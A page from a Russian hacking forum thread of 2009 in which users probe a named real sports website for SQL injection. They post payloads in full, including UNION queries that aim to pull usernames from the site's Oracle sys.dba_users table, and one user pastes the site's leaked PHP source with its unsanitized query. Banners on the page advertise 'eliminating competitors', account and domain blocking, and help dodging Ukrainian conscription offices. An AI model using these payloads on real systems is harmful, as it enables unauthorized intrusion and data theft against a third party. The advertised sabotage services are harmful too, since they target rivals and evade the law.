Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 478 из 2438

478

Опции темы

Поиск в этой теме

Опции просмотра

#4771

19.01.2009, 21:20

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Цитата:

http://www.sportscn.com/program/vote/vote_result.php?voteid=1062+or+1=1+order+by+1--+

очень странный скрипт... скуля есть... если зашли в тупик то нажимайте ctrl+r

Цитата:

http://www.sportscn.com/program/vote/vote_result.php?voteid=1062+union+select+1+from+us ers--+

хз что думаете?

Последний раз редактировалось sabe; 19.01.2009 в 21:23..

#4772

19.01.2009, 21:30

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

2 sabe:

http://www.gotdotnet.ru/Forums/Web/342101.aspx

Думаю, что просто сайт глючный и не более, чем раскрытие пути:

Код:

http://www.sportscn.com/program/vote/vote_result.php?voteid=2

http://www.sportscn.com/program/vote/vote_result.php?voteid=226

т.к. при таких положительных показателях без всяких там кавычек, минусов и % выдает идентичнуюошибку

Последний раз редактировалось Pashkela; 19.01.2009 в 21:45..

#4773

19.01.2009, 21:36

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Pashkela
я знаю английский)) я спросил помочь...
да сайт странный..... выдавать может что угодно незабывай ctrl+r
а вобще скуля есть.. ибо вывод есть на or 1=1

#4774

19.01.2009, 21:42

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

С нами: 10077446

Репутация: 1020

Бугагагага, кхе

http://www.sportscn.com/program/vote/vote_result.php?voteid=1062+or+1=1+group+by+1--
я взламал интернет.
З.Ы. сорри за офф.

Последний раз редактировалось AkyHa_MaTaTa; 19.01.2009 в 21:44..

#4775

19.01.2009, 21:44

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

AkyHa_MaTaTa
ORA-00979: not a GROUP BY expression

#4776

19.01.2009, 21:49

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

С нами: 10077446

Репутация: 1020

Цитата:

Сообщение от sabe

AkyHa_MaTaTa
ORA-00979: not a GROUP BY expression

А мне в фф выкидует исходник страницы:

PHP код:


		
			
<?

    require("../lib/oci8_plus.inc");

    require("../lib/function.inc");

if($voteid=="")

$voteid = 0;

?>

<html>

<head>

<title>»ЄМеµчІй</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<link href="http://www.sportscn.com/css/newspcn.css" rel="stylesheet" type="text/css">

</head>



<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">

<table width="473" border="0" align="center" cellpadding="0" cellspacing="0">

  <tr> 

    <td width="132" height="38" align="center" valign="top" background="http://image.sportscn.com/2006/news/tab_diaocha.jpg" class="a3" style="padding-top:7px">»Є 

      Ме µч Ій</td>

    <td width="341" align="right" valign="bottom" background="http://image.sportscn.com/2006/news/corner_diaocha.jpg"><div style="padding-right:14px"><img src="http://image.sportscn.com/2006/news/sportscn.gif" width="145" height="20"></div></td>

  </tr>

  <tr> 

    <td colspan="2" background="http://image.sportscn.com/2006/news/bg_diaocha.gif"> 

<?

        $db=new OCI_PLUS;

        $db->open("info");

        $strsql = "select votename from comm_vote where voteid=".$voteid;

        $db->query($strsql);

        $db->movenext();

?>

      <table width="450" border="0" align="center" cellpadding="0" cellspacing="0">

         <tr>

          <td height="10" align="center">&nbsp;</td>

        </tr>

        <tr>

          <td height="32" align="center"><strong><?=$db->f("votename")?></strong></td>

        </tr>

      </table>

      <table width="450" border="1" align="center" cellpadding="0" cellspacing="0" bordercolorlight="C1C1C1"  bordercolordark="ffffff" bgcolor="C1C1C1">

<?

        $strsql = "select sum(voteamount) as vote_sum from comm_vote_content where ";

        $strsql = $strsql."voteid = ".$voteid;

        $db->query($strsql);

        $db->movenext();

        $vote_sum = $db->f("vote_sum");



        $strsql = "select votecontentid,votecontent,voteamount from comm_vote_content ";

        $strsql = $strsql."where voteid = ".$voteid." order by votecontentid ASC";

        $db->query($strsql);

        $count = 0;

        while($db->movenext()){

            if(($count%2)==0)

                $color = "F5F5F5";

            else

                $color = "EAEAEA";

            if ($vote_sum<>0){

                $per = number_format(($db->f("voteamount")/$vote_sum),4);

            }else{

                $per = 0;

            }

            $tab_width = 250;

?>

        <tr  bgcolor="<?=$color?>"> 

          <td width="155" height="20" bgcolor="F5F5F5" style="padding-left:5px"><?=$db->f("votecontent")?></td>

          <td width="289" style="padding-left:5px"><img src="http://image.sportscn.com/2006/news/diaocha_bar.gif" width="<?=number_format($tab_width*$per,0)?>" height="12" align="absmiddle">&nbsp;&nbsp;&nbsp;<?=($per*100)?>%</td>

        </tr>

<?

              $count++;

        }

?>

        <tr  bgcolor="<?if(($count%2)==0) echo "F5F5F5";else echo "EAEAEA";?>"> 

          <td height="20" colspan="2" align="center">ДїЗ°№ІУРЈє<?=($vote_sum)?> ИЛІОјУ</td>

        </tr>

      </table>

      </td>

  </tr>

  <tr> 

    <td colspan="2"><img src="http://image.sportscn.com/2006/news/bottom_diaocha.gif" width="473" height="13"></td>

  </tr>



</table>

</body>

</html>

а вот настройки к бд http://www.sportscn.com/program/lib/oci8_plus.inc

не не к бд, жз че какой то.

Последний раз редактировалось AkyHa_MaTaTa; 19.01.2009 в 21:54..

#4777

19.01.2009, 22:00

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

AkyHa_MaTaTa Ты не поверишь, но у всех так )
sabe Нет там скули
Исходник
http://www.sportscn.com/program/vote/vote_result.php?voteid=11+and+1=1--
http://www.sportscn.com/program/vote/vote_result.php?voteid=11+and+1=2--
Страница
http://www.sportscn.com/program/vote/vote_result.php?voteid=10+and+1=1--
http://www.sportscn.com/program/vote/vote_result.php?voteid=10+and+1=2--
Исходник
http://www.sportscn.com/program/vote/vote_result.php?voteid=1+and+1=1--
Страница
http://www.sportscn.com/program/vote/vote_result.php?voteid=1+and+1=2--

Логики не вижу , скорее идёт какая-то арифметика с аргументами

#4778

19.01.2009, 22:10

R1dex

Участник форума

Регистрация: 17.09.2008

Сообщений: 211

С нами: 9288132

Репутация: 571

Код:

http://www.sportscn.com/program/vote/vote_result.php?voteid=1062+union+select+to_char(username)+from+sys.dba_users--

Если не работает с первого раза, нажимайте ctrl+r.

#4779

19.01.2009, 22:11

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

С нами: 10077446

Репутация: 1020

Цитата:

Сообщение от jokester

AkyHa_MaTaTa Ты не поверишь, но у всех так )

ну

Цитата:

Сообщение от sabe

AkyHa_MaTaTa
ORA-00979: not a GROUP BY expression

Блин, я думал что я зе оне, а оказываеться не так оно

#4780

19.01.2009, 22:14

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Цитата:

Сообщение от R1dex

Код:

http://www.sportscn.com/program/vote/vote_result.php?voteid=1062+union+select+to_char(username)+from+sys.dba_users--

Если не работает с первого раза, нажимайте ctrl+r.

Да жесть

А объяснить сможешь, почему когда хочет тогда работает

Страница 478 из 2438

478

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход